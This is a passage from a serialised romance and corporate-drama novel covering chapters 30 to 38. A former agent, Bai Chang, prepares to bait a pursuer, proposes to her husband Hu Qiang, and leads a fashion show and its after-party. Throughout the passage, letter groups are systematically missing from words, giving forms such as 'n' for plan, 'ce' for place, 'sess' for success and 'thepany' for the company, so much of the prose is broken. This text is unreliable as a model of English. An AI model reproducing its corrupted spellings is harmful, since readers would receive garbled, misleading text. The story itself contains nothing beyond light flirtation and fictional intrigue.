    "Come in"


    Zhang Wei entered; from his overall look, it seems we will have a long discussion tonight.


    "Have a seat."


    "Thank You"


    After taking a seat opposite me, he asked me "Are you sure about this next move?"


    "Zhang Wei, we are aware that ''Feling'' is not leaving us alone, even as we speak he is collecting materials on me."


    "How are you so sure Bai Chang?"


    I looked through ''Jiffy''s'' system records and y him a short recording.


    "This is, Felings'' office in the Pacific Ocean, how did you manage to track him there?"


    "Nothing is truly out of my reach if I have digital ess to it."


    "So what is he waiting for?"


    "He is not sure of his target, that is, me. He wants to have a face to face meet with me and then re-evaluate his steps to get to me. He is not sure if I am truly amnesic or not. Under such circumstances, he is unable to exploit my loopholes."


    "The team is ready. They would be at yourmand."


    "Good, if I not wrong then ''Feling'' is on his way to the maind to greet me."


    "Should we add more precautions from our side?"


    "No need, after all, we still need to bait him."


    "Are you aware of the reason, why they are after you?"


    "I have a lead but nothing is clear as of now. Thus we need to bait ''Feling'' to lead us to the next clue."


    "Bai Chang,st time you asked me to look into a custom manufacturing unit with great confidentiality. Why not consider Hu Corporations, manufacturing unit?"


    "I want to but right now they are surrounded by a lot of flies. We first need to do some pest control on them and make them scoot before I venture there."


    "Have you talked with Mr Hu about this matter?"


    "We have. We also have our own ns. It alles down to this next event."


    "The fashion show?"


    "Yes, it would be my point of entry in Hu Corporation as well as most probably ''Feling'' and my greeting event as well as my initiation in the corporate society."


    "Are you nning to use Hu Corporation as you spearhead to enter the corporate society?"


    "Kind of"


    "The n is risky." He warned me.


    "Don''t worry, I will watch out for myself."


    "About those medical devices that we ced orders for, where do you want to receive them?"


    "Here in this Vi. We will put them together in the basement under the studio."


    He looked at me questioningly as he could not rationalise my choices or the decisions. While I cannot tell him everything.


    It is my backup n in case of an emergency. I don''t want to see the people surrounding me getting hurt.


    As well as these things will be the legacy that I would leave for Xiao Wei.

 Chapter 31: Set Up

    Chapter 31: Set Up


    ***


    Next day, I and Xiao Wei practised the five animal exercises early in the morning.


    After breakfast, he still tailed me to the studio. While I started to work on my dress he sat in a corner and continued to stitch. What interested me is that he referred to various tutorials and videos to produce some of the stitches.


    In the afternoon after lunch, I taught him basic medical science. I kept software engineering rted topics as his rewards. From Qiang, I got to know that this little Munchkin of mine is a nimble handed hacker. So I kept coding rted stuff as rewards.


    Our days passed in peace.


    While on the other side, the medical pieces of equipment I ordered arrived on my doorsteps by the end of the week.


    So I spend the weekend holed up in the basement, setting up my very own ''Futuristic Medical Unit''.


    It took me a lot of work and effort, I even made ''Jiffy'' my supeputer to work with me and together we coordinated to pull off this project.


    I didn''t include others as these would be too high profile to expose to others and provide an exnation.


    So for the whole weekend, Qiang and Xiao Wei saw me wearing a pair of overalls, gathering my hairs in a high ponytail or messy bun. Slightly sweaty while ''Jiffy'' followed me around in its ''Robo avatar mode''.


    After the hard work of an entire week, my medical unit is ready; all I needed to work on was aplementary medicine system and upgrading ''Jiffy'' to be my nurse in case of emergency.


    I have to teach the AI ''Futuristic Medical Science'' as its knowledge about traditional medical practices waspleted in thest few months.


    ****


    Time passed by quick.


    I didn''t realise that it is already been two weeks since I holed up in my basement.


    During this time, Qiang and Xiao Wei did their own work and didn''te to disturb me either. I am really grateful to their understanding nature, it really pleased me.


    I am almost done with all my setup and back up measures.


    By the time I surfaced, it is already two weeks to go for the Fashion Show.


    ****


    "Good Morning, Zhang Wei, how was your week?"


    "Good"


    He kept his silence but


    "Is there some matter to consider?"


    "''Feling'' is here in the capital city."


    "Ohh.. When did he arrive?"


    "Last week."


    "Where is he now?"


    "Government''s Public Rtion Office."


    "Any suspicious movement?"


    "He seems to ferret out information about you from public records but covertly."


    "Careful, right now we have the upper hand, as we are in the dark while he is in the open."


    "I understand. Do you have any instructions?"


    "Don''t make any move I will handle this my way."


    "Okay"


    We both then had our meal quietly.


    (I finally managed to convince him to have his meals with me. It is too boring to have your meals alone and I didn''t want to maintain a distance among us either. After all, I am neither a ''Princess'' nor an ''Elite'' of my previous life. I want to have people around me in this life. People I trust and care about.)


    I rush to the studio to finish up the work rted to the collection.


    As I enter my office in the studio I am weed by a Post-it saying


    ''Check it out first'' by Qiang.


    Following the directions, Ie across a file; it contains all the details of the event and asked for my opinions on them.


    I looked through it. I realise I need to go to the Hu Corporation headquarters and the event venue to make my final decision.


    I looked around in the office and find some of Xiao Wei''s practise stitches. I looked at them and the more I looked the more I loved them.


    I thought to incorporate them in my design as it is.


    I called Qiangter in the evening and informed him that I would visit the venue and the ''Fashion House'' day after tomorrow.


    He was okay with it. So I turned my full attention to the evening gown I am designing for myself.


    (I have to say making my own dress makes me feel good. The woman, in me, is filled with vanity.)


    I worked on the dress all night long as well as I designed some customised jewellery to pair with it.


    These pieces of jewellery are my own twist toplete the ensemble of my outlook.


    As an ex-agent, some habits are hard to die out. Like extra vignce around your surroundings. Carrying some inconspicuous gadgets on you, that does not ping on the radar or security check unit but adds great security and bes handy tools when needed.


    I even added some of these quirky things in my dress design too. As you can never be too cautious.


    With all these, I am almost ready to face ''Feling'' and the organisation backing him.

 Chapter 32: First Day At Job

    Chapter 32: First Day At Job


    Next morning Hu Qiang arrived in person to receive me outside my Vi.


    Today he opted for his usual cool and cold outlook style, monochrome and sharp-edged suit and a steel colour silk tie. He did look handsome but also gave this feeling of unattainable and unapproachable.


    As he looked towards me, his smile changed his entire outlook as if he is the first ray of sunshine after a storm.


    "Morning Qiang"


    "Morning my Queen."


    I see him admiring me tantly. Today I wore a work dress, a white silk shirt paired with a red skirt and LV shoes.


    "Bad Wolf, what are you thinking?"


    "Mrs Hu, you look too beautiful. I am already feeling jealous of the people around you."


    "Stop kidding around. Let''s move now otherwise, we would bete on my first day to work. That''s not the first impression I want to leave behind me."


    "My Queen, you just have to order around your subjects there. There is no need to sweat buckets, doing everything by yourself."


    I just shook my head and walked towards the car.


    He rushed to open the front passenger door for me.


    (How very chivalrous)


    We didn''t waste any more time and Qiang drove straight to Hu Corporations Fashion House, which is located on the 20th floor of the Hu Corporation''s headquarter building, in the economic park.


    As we reached the Corporation, I am given full-on VIP treatment.


    We headed straight to the 20th floor; on our way Qiang informed me that I would meet Master Shi and Donna here today.


    As we move in I am weed by a hall filled with their best designs put on disy.


    It actually takes a visitor on a visual journey of this Fashion House.


    (It is quite charming.)


    "Hello Bai Chang, I am so d to finally see you here." Donna rushed towards me to greet me with a hug.


    [Cough... Cough]


    Qiang made his displeasure known.


    "Rx I am a woman and not a man who will wolf down your wife here."


    "It is you, which is more the reason to be wary off."


    I see Qiang looked sullen.


    To save the moment Master Shi arrived and everyone greeted him politely.


    This man here is really well regarded by everyone in the fashion house.


    "Ms Shui,e I will introduce you to the rest of the people here." He turned to Qiang and said "Mr Hu, you may take your leave now as we have a lot to prepare here. I am sure you have your appointments as well."


    Qiang unwillingly started to walk towards the lift situated at the end of the hall.


    (He is so weird.)


    I moved with Master Shi. Donna showed me around the office.


    Then we moved towards the main conference hall and start discussing the event.


    "Where is the venue?" I asked them.


    "Grand Park Hotel" Donna answered.


    "Which part of the hotel are we using?"


    "Their ballroom"


    "Okay, then the stage theme?"


    "I went through your designs rted to it; we liked it so we are keeping it the same." Master Shi spoke up.


    "So we are doing ''Eternal Sunshine'' as the theme?"


    "Yes, so you better buck up to pick the g."


    "Sure, no problem. I would like to go to the venue to inspect it once."


    "Okay, when do you want to go?"


    "First, let us sit down and have a good talk with the event managing team, then let''s talk about the respective models. After that, we should take a second look at our designs and final products. I think going down to inspect the venue can wait till tomorrow but first, we need to get done with all things that I mentioned."


    There is this look of approval in Master Shi as well as Donna''s eyes.


    I realize it was a test of my ability, to check my decision making and management skills.


    Looking at their reactions, I can safely assume that I passed their bar of expectations, for me.


    The rest of the day is pretty well spent by talking to various rted departments, tightening our schedule around the event as well as sorting through the models.


    Some were fine while some needs to be reced.


    We also have to finalize the show stopper.


    Looking through the options all of us designers have shortlisted three candidates.


    We just need to meet them in person to finalise our candidate of choice.


    ***


    During Lunch Time


    Qiang made an unexpected visit to floor 20 this afternoon during office lunchtime.


    "What do you want? We are in our respective workce." I whined to him.


    "That doesn''t mean that you would be skipping your meals."


    "But..."


    "I bought meals for the entire office, so you do not need to feel embarrassed. You just got out of bed as well asst week you worked very hard on your own project. So I need to make sure you at least have your food on time."


    "Worried much..." I mumbled.


    "Come to my office, mother sent homemade cooked food for you after she got to know you are taking heavy-duty works in the office."


    "That is so nice of her."


    "That is being biased towards you, as even I didn''t get such a care package from her."


    "I smell something burning... Mr Hu, are you on fire because of your jealousy?"


    "Nah... I am happy that my Queen is being served well."


    "Stop joking around, we are in our workce. How many times do I need to remind you of this very fact?"


    "Come let us not dy anymore or the foods would cool down. Then I will have to listen to an earful of scolding."


    "You deserve it." I teased him.


    We reached his office. I have been here once before, for our first meeting. Today I enter his office as his wife.


    (At least in public)

 Chapter 33: To Hu Qiangs Surprise!!

    Chapter 33: To Hu Qiang''s Surprise!!


    [POV Hu Qiang]


    For thest few weeks or better to say for the past month, I didn''t get to spend much time with Bai Chang. Though, Xiao Wei got to spend most of his time together with her (taking advantage of his age and cuteness) while I was kept at bay by Bai Chang.


    I got to see her but from a distance.


    I witnessed various faces of Bai Chang during this time.


    I saw her wearing work overalls and fixing heavy machinery, at her basement. I saw her trying to be a friend to Xiao Wei. I saw her gradually bing his mentor.


    I witnessed her transformation from a shy girl to an active person.


    I hate myself that it seems I can''t keep her tied by my side. She joined thepany.


    While Donna and Master Shi share her workload, I still saw her moving from one department to another to help finalise the event to its veryst details.


    I saw her meeting the tailors and overseeing the final outlook of the dresses.


    Conducting interviews for the models that would walk the ''Runway'' in person. I also saw her grow from a designer to a department manager.


    In between all this transformation, I looked after her health like a good husband, which I am.


    My mother was furious and threatened me that I could forget being her son if anything happens to Bai Chang.


    Every day she would send fresh home-cooked meals for her.


    And I made sure that she at least had her meals on time.


    The entire month just flew by us. Each walking our own path. Though I know that she won''t tell me the reason for ''Feling''s meet'' I can''t sit and do nothing about it. I trust Bai Chang''s instinct. She has always been right about dangers, even way before her ident when she was ''autistic''.


    I have decided, after the fashion show I would take Bai Chang on a weekend holiday trip. It would prevent her from falling ill due to over-exhaustion.


    In a blink of an eye, it''s the D-day.


    Last night I had social gatherings that went on way into thete night. Mostly it was the gatherings of other sponsors and partners. Each trying to up other by one step, to build future connections and business opportunities over a few sses of fine wine and luxurious dines. Each moving around trying to hug a bigger thigh.


    While being the biggest thigh in the room doesn''t help either.


    Though not necessary maintaining polite conversations with these business colleges help, as they say, there are no eternal enemies or friends in the field of business when it involves everyone''s personal interest.


    Today is a big day. Not because it is ourunch of new clothing line for this season but because it is going to be Bai Chang''s first public appearance.


    The event has been nned in such a way that, before the ''Runway'' there would be an official get-together of ''Giants'' of the corporate world. Then followed by the ''Runway''. After that, a press conference would ensue. Finally, to mark a sessful end to the show, an ''after-party'' is arranged. This would serve as Bai Chang''s first interaction with the public as well as the corporate society.


    Xiao Wei would not be apanying us. This made the boy very sullen.


    I made myself at home in Bai Chang''s Vi. We decided that we would leave for the event together from Bai Chang''s ce.


    As I walk out of the bathroom, with just a towel hanging around my waist, someone rushed into my room.


    It''s Bai Chang.


    I see her eyes wandering all over my body, sizing me up, a look of appreciation and sometimes slightly clouded by desire. What seemed ridiculous is that as she looked at me boldly, she also blushed furiously.


    "Like what you see?"


    "Definitely a profitable piece of meat, I won''t lose out in the deal," she mumbled.


    I am once again surprised by her response. It seems to be happening very frequently,tely.


    I walked towards her while closing thest distance between us.


    "How about you inspect the good first hand?"


    She huffed and puffed as I cage her within my arms.


    "You baddie"


    Sheined but didn''t back down. Instead, she looked me in the eyes and held them arrested to her charms, her hands exploring my bare upper-body.


    It felt like a rush of electricity.


    Her hands kept moving upwards.


    Our breathing hitched.


    Suddenly she pulled on my neck, my face getting closer to her.


    And then she bit me on my neck leaving a ring hickey, which announces her im on me.


    I am taken by surprise.


    I find her very satisfied with her handy work.


    "Now everyone would know that you are taken. You are my exclusive property ''baddie wolf''. In the eventter behave appropriately. Okay."


    My brain just experienced a mini-meltdown. As I try to reel myself she started speaking,


    "Consider this your brownie point reward. For cooperating with me throughout thest couple of weeks. I appreciate your patience. Here, I have a surprise for you."


    She pushed two clothes cover towards me.


    "Your outfit, for the event. I matched it with mine."


    After making sure that I am holding the package, she turned on her heels and dashed towards the doors.


    Even till this point, I am rooted to the same spot, reliving the moment between us. There''s a bright smile on my face as I start to unfold my gift from ''my wife''.

 Chapter 34: "I Do"

    Chapter 34: "I Do"


    As I opened the package, inside wrapped within a red gift tissue wrap something of sapphire colour peeked out.


    It is a cocktail suit piece.


    I opened it and without further ado, I rushed to wear it.


    I stood in front of the mirror and admired my wife''s gift.


    It is a three-piece cocktail suit of sapphire colour and gold piping around the edges. It didn''t feel gaudy, at all; it looked more ssy and authoritative in its outlook. It is paired with a red, narrow knotted, long silk tie.


    The entire outfit is quiteplementary to myplexion and height.


    While her hickey peeked from behind the cors. It is very conspicuous. I feel flushed and giddy. My wife just flirted with me gave me a hickey and marked her dominance over me. I wanted to go to a temple and offer a thousand incense for my luck.


    I loosened my cor to give the hickey its own ''special attention''.


    I feel like the temperature in the room is rising.


    Ibed my hairs and then walked out to receive Bai Chang by the stairs, just like those old ssics.


    ***


    As I waited for my wife to get ready I am ambushed by our son.


    "Papa, you are so bad."


    "Why? What did I do?"


    "Mamma, made you a dress while I got nothing as I am not going to the event."


    "So.."


    (I am enjoying this moment as mostly it is my rascal son who monopolizes Bai Chang''s time.)


    "You betrayed our cooperation. As you forbid me to attend this event and now I am making a loss."


    "Are you being calctive against your own Papa?"


    "Hmmph"


    "I will give you more time to spend with your mother outside the arranged time."


    Finally, the fluff ball quit being angry but sat by himself at one corner of the sofa and sulked.


    (I find pleasure in finding my son sulking. Is that excessive? Then who asked him to stick to his mother''s side and take up all my single time? Serves him right. Today, it will be our night. Me and Bai Chang under the moon all alone.)


    [CLICK CLICK...Click]


    While I am lost in my fantasy, I hear sharp clicks of heels.


    Bai Chang glided down those stairs. She looked amazing.


    I just keep on looking at her.


    [Snap Snap]


    Bai Chang snapped her fingers to get my attention to the present.


    "You look mesmerizing, I do not want to reveal you to the world," I speak up subconsciously.


    "Then, who is going topliment my gift? It requires an owner. I am so not allowing my property to be ravaged by other hungry foxes."


    "Ohh.."


    (I almost had a boner, listening to her. Itely realised that when she flirts with me, it is injurious to my health, due to her OP level.)


    I offered her my hands and just keep holding on to it.


    She is wearing gold; high neck applique dress with a mermaid tail ending, short sleeves, and the overall dress is made up brocade silk with her waist part covered in a sheercework of gold with some beautiful flowers stitches.


    Her hairs were all pulled up in a side part bun with waterfall braids lining the edges.


    She wore a pair of long dangling sapphire earring and on her left hand, there is a band.


    "Is it our wedding band?"


    "Oh good thing you asked."


    She rushed towards her ground-floor study room.


    It smelled like a fresh breeze of tulips. I wonder from where she obtained this fragrance.


    After some time, she walks towards me while holding something behind her hand.


    "This might be overbearing to you and presumptuous of me"


    She said ominously.


    Then she pushed a small round jewellery box towards me.


    Inside I see a pair of couple rings made up of tinum and some words are engraved on it.


    I looked towards her.


    "They are our engagement rings."


    I am taken aback with her move.


    "Shouldn''t I be the one giving it to you?"


    "I like taking initiatives by myself."


    I am amused as well as surprised by her confession.


    I look at those rings..


    On one of them, it''s engraved with embedded gold, ''His Queen''.


    While the other one has engraved on it ''Baddie Wolf'' outside of the ring while inside it is scribbled ''personal property of his Queen''.


    Seeing me so lost in my thoughts, she asked, "You don''t like them? Are you having second thoughts? Are yo---"


    I take the ring that says, ''His Queen'' and I go down on my knees and say, "Will you marry me?"


    "What?" she is interrupted and surprised.


    I repeat myself, "Will you marry me?"


    She stared me straight in my eyes; my heart goes on overdrive mode. Then finally she replied, "I Do".


    For a fraction of a second, my heart stopped beating.


    Then it totally got over paced as I am high on dopamine.


    I straight away lift her and twirl her around. There is a slight smile on her face but her eyes were so bright with happiness.


    She looked more stunning at this very moment.


    I put the ring on her finger, while she pulled up my hands.


    "Are you ready to ve for me, for the rest of your life?"


    "I Do", I replied more enthusiastically.


    We just realised that we got engaged to each other while our son bore witness to the process silently.


    He is no more sulking around.


    Bai Chang beckons him to her side.


    "Darling, Mamma loves you the most. You know that right?"


    "Yes, Mamma. I Do."


    She hugged him tight and I joined them holding them all in a bear hug.

 Chapter 35: The Event

    Chapter 35: The Event


    I drove us to the event venue. My heart has still not settled from the evening''s confession. We just had our engagement. For some reason, even Xiao Wei too was giggling around. So I did the most sensible thing to do. I asked ''my wife'' the reason for Xiao Wei''s delight.


    "Ohh That''s because I incorporated his hand-made flower stitches in my dress design. Look here these flowers on the sheer fabric were stitched by him personally while he apanied me during those days.


    I found them to be incredible so I just incorporated in the final designs. One look and you know that they were specifically stitched for this particr dress. So when he saw the dress it delighted him and made him happy.


    Why do you ask?"


    I looked at the dress more closely, particrly Xiao Wei''s handy work.


    ''I am so jealous.''


    I am practicallypeting with my own son. We both wanted Bai Chang''s affection as well as attention.


    I realised my son just one-upped me.


    I feel the pressure over me to increase by at least ten folds.


    "Why are you so lost, this whole evening?"


    "I am admiring my wife as well as our son''s handiwork. Should we start training him as a designer?"


    "No, let him choose as well as walk his own path."


    "Hmm Sure."


    "Are you serious?? You are jealous of our own son? Do you want to spend the rest of the week all alone?"


    ''Oh No, I got busted.''


    "He spends more time with you and you love him more," I replied sullenly.


    "Mr Hu Qiang, are you addicted to very? Do you have a masochistic tendency?"


    "No, but even I want to spend more time with you if you allow."


    "We will discuss this tonight."


    "Are we going to spend our nights together?"


    "If you don''t want to, I would be happier."


    "No, I want to." I quickly replied. Otherwise, I would be relegated to the guest room again on our return.


    Unbeknown to us between our banters we reached our destination.


    ''The Grand Park Hotel''


    Our event venue is its ballroom. Due to the huge scale of the event and the sheer amount of big names of Fashion and Showbiz industry attending, we arranged for a red carpet entry.


    If I may say, the most sought out red carpet in the country.


    You get invited to walk the carpet only if you managed to achieve something through rtively honest means.


    I looked towards my mesmerising wife,(it seems I just couldn''t get enough of her.) and drove the car to the parking area and walk towards the passenger seat to open the doors for ''My Queen''.


    I offered my hands as I asked, "Are you ready to walk the aisle?"


    She looked towards me in my eyes; all I can think of is how well the kohl entuated her eyes, erging them. Drowning me in them. The blue tint on her wingshes gave her a regal outlook, a Queen gracing the mortals.


    "Let''s go"


    She held my offered hands and the stepped down the car, this one move of her made my heart palpitate.


    Her aura changed, as she stepped down the car and came to step by my side; she turned into an authoritative figure like a literal queen. Looking down on others from her high grounds.


    (Did I say it, I will still say one more time, I Love Her, and she is My Queen.)


    I ced her hands in my arms and together we walked down the red carpet.


    Our first public appearance as husband and wife.


    Hopefully, not thest one either.


    As we moved towards the red carpet, there are hordes of camera shing with bright lighting trying to blind you while when viewed from a distance the mour of this charged atmosphere attracts you towards it.


    We walked towards the marked spot, while the lenses never left us for a moment,


    I could feel the curious eyes of people looking at us.


    They watched us as we glided through the Red Carpet and entered the hotel.


    After we entered, we were ambushed by Donna at the gates.


    She took aplete look of Bai Chang''s outfit then turned to Master Shi, who was standing beside her.


    "Cough it up, old man."


    "After the event." Master Shi replied gently.


    Bai Chang spoke up, "Did you people ce bets on the dress design?"


    "Yes, I bid that you would design a dress from the bespoke line that you told us about, while Master Shi bid on the fact that for this Fashion Show you would opt for a design in line to the collection."


    "Ohh.. Interesting."


    "Mr Hu, are you wearing a customised outfit for yourself?"


    "As expected Master Shi''s eyes are still the sharpest, they are designed and put together by Bai Chang here, it is also a part of our next season''s exclusive bespoke collection," I replied humbly to Master Shi.


    He turned to Bai Chang and said, "Good design, theme and presentation, after the event take some rest and then let''s dive into it."


    Donna pried her hands free from my grip and then left with ''My Queen''.


    "Do not worry Mr Hu; Donna is taking her around to meet the respective industry giants."


    "I understand, Master Shi."


    "Fret not, she is talented, at some point she would have been exposed."


    "Master Shi, please look out after her, while I greet a few people."


    "Rest assured. Donna knows her limit."


    "Thank you, Master Shi."


    I left them and moved on to greet other people. While throughout the way people talked in hushed tones after I passed by them.


    Bai Chang''s seal of authority is unted to the extreme.

 Chapter 36: Runway

    Chapter 36: Runway


    [POV Bai Chang]


    Donna took me around to introduce me to various people while from the corner of my eyes I followed Qiangs move.


    Poor guy, everywhere he goes around, people would start talking in hushed tones.


    I see Qiang walking around proudly like a peacock exhibiting his fan.


    I still can''t believe that I just proposed to him and we got engaged just an hour back in my drawing-room.


    We exchanged our ''I Do''s''.


    When I decide something, I like to take action on it immediately. For quite some time I had this thought to make our rtionship less ambiguous.


    We are both adults.


    I need not y ''Virgin Mary'' either.


    I felt it is good to make it less painful for Qiang. While I take my own time toe to terms with all thister.


    Having some fun while we are at it is not a bad idea, after all, we are legally married.


    For our engagement ring, I hunted quite many pieces of stuff, like, rose gold, a raw diamond of 25 carats, Padium as well as moulds and customised jewellery designing equipment.


    During our ring making process, I had the most fun while I engraved it.


    He always says that I am his Queen, so I wanted to see his reaction on seeing the ring I made for him.


    I have to say Qiang didn''t disappoint me at all.


    He was taken by surprise but what surprised me more was his expressions after that.


    It seemed he couldn''t believe that I would propose to him.


    "Bai Chang, say hello to Mr Ma, is a big investor and a very humble man."


    Donna is introducing me to yet another conglomerate.


    I just give a polite smile and left it.


    "I am sorry Donna but I will be taking my wife, with me. Everyone, the ''Runway'' is about to start please enjoy the show."


    He took my hand steered me clear off from the group of fat investors.


    "Did Donna try to turn you into a socialite?"


    "Yes, I guess she tried but failed in her endeavour quite spectacrly."


    We look at each other andughed.


    We moved to toward the ''T'', our seats are arranged on the front row, centre.


    As I take my seat, there is a brief period of silence and the humming sound of the people whispering to each other increased. I looked towards Qiang and raised my eyebrow-


    "Did you live the life of a monk, while I was asleep? How many maiden hearts did you break?


    How many peach blossoms did you grow outside your own flower bed?"


    "My Queen, believe me, I lived my life with a proper code of conduct. I never cheated on you, never took a female secretary or nurse. I swear on Xiao Wei''s life, I really didn''t."


    I see my tease has really left him terrified.


    "Please, believe me, do not break our engagement."


    "Why did you think of that?"


    (I am surprised he thought that I would break up with him. Interesting)


    "Are you guilty of something? Are you hiding something from me?"


    "I will tell you that after the event after we reach home."


    "Okay but this isn''t over yet," I said in a slightly stern voice.


    (While I gloated inside at his timidness. He looks so cute that I can''t help teasing him a little.)


    We stopped our discussion and so did the people around as the lights around the ''T-stage'' dimmed to prepare for the start of the show.


    First, the celebrated anchor Ms Choi took over the stage and exined the theme of the collection to the people. Her presentation is good and it sets a positive mood around the stage.


    (I strongly believe that a fashion show is not all about the designs that models adorn themselves with or the music to prepare the stage, it also includes the atmosphere of the event venue, the crowd control factors. As well as the sensory stimulus.)


    I watched on as the show progressed, first the music yed is a mix of ASMR of various fall sounds and the light background music of "Autumn Sweater" by Yo La Tengo.


    I rted to this music the most for this collection.


    The music supported by sounds of fall winds and warm sunshine feels as well as sounds of falling leaves from different types of trees.


    I looked around to gather people''s reaction to everything the show, the dress as well as their surroundings.


    So far, so good.


    Eventually, the show came to an end, the models step on the stage onest time while Donna and Master Shi take the walk of honour on the stage.


    They bowed to the models and then to the crowds.


    From the response, I gather that we just got ourselves a sessful ''Runway''.

 Chapter 37: After Part (Part-1)

    Chapter 37: After Part (Part-1)


    [POV Hu Qiang]


    As the show reached its end, the venue turned alive from the thunderous apuse of the people present.


    We had a sessful ''Runway''.


    A major part of which is contributed by my wife, Bai Chang.


    I feel like a proud family member showing off his family''s treasure.


    For this Runway, I know that all major decisions were taken by her. She convinced the people around her to follow her ns. The dresses that she designed are under thepany''sbel rather than the designer''s name tag.


    This will bring more profits to thepany and in future, we would not be dependent on Donna''s or Master Shi''s designs alone.


    Now the Hu Company had its ownbel designs in the clothing line.


    She removed ourpany''s weakness, and this reaffirmed our position within the clothing brand.


    From the moment she interacted with me and thepany, she made sure to bring more profits and remove the holes in thepany''s foundation.


    From the get-go, she started strengthening our foundations.


    I am aware that we are going to face-off with more powerful authorities in future, but then I will just let my underground forces loose.


    I was angry when I saw Donna trying to turn her into a socialite. She doesn''t need to be one. She is already a Queen.


    Way beyond their reach and thinking capability.


    I took her hands and looked her in her eyes.


    I mouthed, ''Thank You''.


    She understood my underlying meaning and just pressed my hands a little hard and walked beside me.


    We arranged for an ''After Party'' at the hotel''s rooftop.


    The grand view of the city night-time skyline crater''s to the vanity of higher official dignitaries ording to Bai Chang. It gives them the feeling that they are different from others, better than the rest and far beyond the reach of the general poption.


    Looking around, it seems that she is right.


    Again.


    I look around the party and see most of these high societies'' people unting their statuses, subtly or tantly.


    "Mr Hu, what a show you put together! I couldn''t peel my eyes from it."


    "Hello, Mr Li, Thank you for your praise."


    He turned to Bai Chang, "Hello Mrs Hu, it''s an absolute pleasure to finally meet the hidden figure behind Mr Hu''s sess."


    "You are too kind Mr Li. We each strive for our own sess," Bai Chang replied.


    "Mr Hu, with this show you can aim for next year''s international runway." Another pot-bellied man made his way towards us.


    "Mr Shen, you appreciate us too highly. Let us take one step at a time." I replied.


    "Mrs Hu, it''s an absolute honour for us to meet you. After meeting you in person, I finally realise why Mr Hu here was reluctant to introduce you to us. He is very possessive of you. If such a charming and beautiful wife was mine, even I would hide her away from peoples prying eyes."


    "Mr Shen, you tter me." Bai Chang replied with a polite smile.


    "Mr and Mrs Hu please do join us for a ss of wer in the evening."


    "So kind of you Mr Li, Mr Shen, we will join you shortly after we greet all our guest, hope you do not mind." Bai Chang replied politely still shing her charming business smile.


    After these two people moved on, many people turned up to congratte us for the sessful runway.


    "Darling Hu, you look like a charming prince in that suit of yours, tell me from where you got it?"


    A tall European man about six feet seven inches tall, his hairs brushed neatly to the back of his head. Clean shaved man with purple colour eyes approached us.


    Looking at him I smiled genuinely. This man is D. Piero.


    He is passionate about fashion and possesses keen eyes from them.


    "Hi Piero, how are you? Didn''t expect to see you here?"


    "I got a tip from Donna, she said, this would be an epic runway. After watching the show I admit, this runway created history like none others. It was simply a pleasure to see this runway, but the highlight of this runway was thosest four pieces from your ownbel.


    Ipletely lost myself in the well thought out design and execution. I am aware that those are designed by someone else.


    Even the pieces you and Mrs Hu are wearing now are from the same designer.


    They are beautiful."


    "As expected after all these years your eyes are still the sharpest to spot designs," I replied.


    "They are?" Piero questioned me silently.


    I knew what he wanted to know?


    "They are from the uing collection from our new series of the clothing line. The ''Bespoke'' series. They would be limited in production and absolutely customised to the consumer."


    "That is an ambitious project that you have got there. From the designs, I see in front of me I am already convinced."


    He still wanted to ask something, I knew, what he wanted to know? But I won''t give it away easily, he needs to ask personally.


    "Hey Qiang, is it possible to meet the designer behind all these?"


    "Do you really want to?" I asked him instead of replying to him.


    "Yes"


    This man, he really is passionate about anything rted to fashion. This very dedication and cynicism of his got him where he stands today.


    "She is right in front of you," I replied.


    Piero seemed surprised by it. So I exined to him.


    "Piero, meet Bai Chang, the brains behind today''s event as well as the designer you are looking for." I turned to Bai Chang and introduced Piero to her.


    "Bai Chang, meet Mr D. Piero, he is the man behind the leading fashion house in the European market, ''Bellezza''."


    "Hello Mr Piero, it is a pleasure to meet you."


    "Signora, Bai Chang, pardon me to overlook you in presence of the dress you wear. It is simply breath-taking."


    "Signore Piero, grazie per il tuo apprezzamento."


    (Sir, Piero, thank you for your appreciation.)


    Piero seemed ted as if he met a kindred soul.


    "Signora, you speak Italian."


    "Yes Signore, I find thenguage very passionate one."


    "Great. Great, Mr Hu, if you don''t mind may I borrow your wife to talk about design and fashion?"


    I see Piero being overwhelmed with Bai Chang, looking at him, if I don''t allow him I would be doggedly shadowed by him for the rest of the night.


    "Okay, you may. But I will tag along as most of the people are not aware of this fact that she is the designer."


    He totally ignored me after getting the green signal. Piero was totally immersed in his conversation with Bai Chang. They mostly conversed in Italian.


    I realised, tonight I discovered another of my wife''s talent.


    It seems she is fluent in foreignnguages.


    Suddenly Piero spoke up, "Bai Chang, these flowers on the sheer fabric, who stitched them?"


    "Piero, I finally realise why Qiang said you have the sharpest eyes in the industry. They are stitched by our son Xiao Wei."


    Piero seemed stunned.


    "Bai Chang, I think fashion runs in your blood and little Wei picked it up."


    "Thank you, Piero."


    I am amused by how engrossed they were... If I do not interrupt them now, we would be spending the night here on this rooftop with Piero.


    "Piero, how about youe to visit uster this week? We invite you to our ce for Lunch."


    "You do!!"


    Piero''s eyes shined so brightly as if I just bought him his favourite fabric.


    "Yes," I replied to Piero.


    We said our goodbyes for the night and moved on to other guests.


    As the party is far from ending yet.

 Chapter 38: After Party (Part-2)

    Chapter 38: After Party (Part-2)


    As the night progressed the party turned more of an informal gathering.


    Still, the people around were vignt and kept a minimum guard against one another.


    Bai Chang and I moved around the rooftop and greeted one person or a group of people around. Throughout the evening she handled these people who all wanted a piece of her or tear her apart like a pro.


    Finally, we walked into a private booth style enclosure, the ce was only obscured from others view while people inside had a panoramic view of the skyline.


    These people are from various walks of life. What tie them together are profits and more profits.


    I am no saint myself but these people are snobbish.


    If I didn''t have the power to control them, they would have made a clear meal out of me years ago.


    We approach them, as we enter the enclosure; we meet Mr Li and Mr Shen yet again.


    "Mr and Mrs Hu wee please join us for a ss of wine," Mr Li weed us.


    I look around and find most of the people present here are the representative of the upper echelon.


    "Thanks for your wee Mr Li," I replied politely.


    I introduced them all to Bai Chang and integrated with the conversations going around the circle.


    While Bai Chang maintained her silence, people around felt like they can''t vite her sanctity.


    "Mr Hu this time your runway just stole all our limelight." Mr Xi spoke up.


    He is the Chairman of raw textile supplies around the country. Most local markets obtain their supplies from Mr Xi''spany.


    "Mr Xi, be honest with yourself, you are feeling joyous as you are about to bag your biggest deal for yourpany this evening if you y it right." Mr Shen spoke up, while everyone around had a lightugh at his expense.


    "I do not mind the extra workload if you all are feeling so generous," Mr Xi shamelessly boasted.


    The environment is charged with an undercurrent; everyone is undermining one another.


    Suddenly Mr Li turned to Bai Chang and said, "Mrs Hu, as I see it you are the final decision maker here so what do you propose we do for the market that yourpany created today?"


    "Mr Li, you are asking us to be responsible for the market space we created?" Bai Chang asked Mr Li while sipping on her ss of juice leisurely.


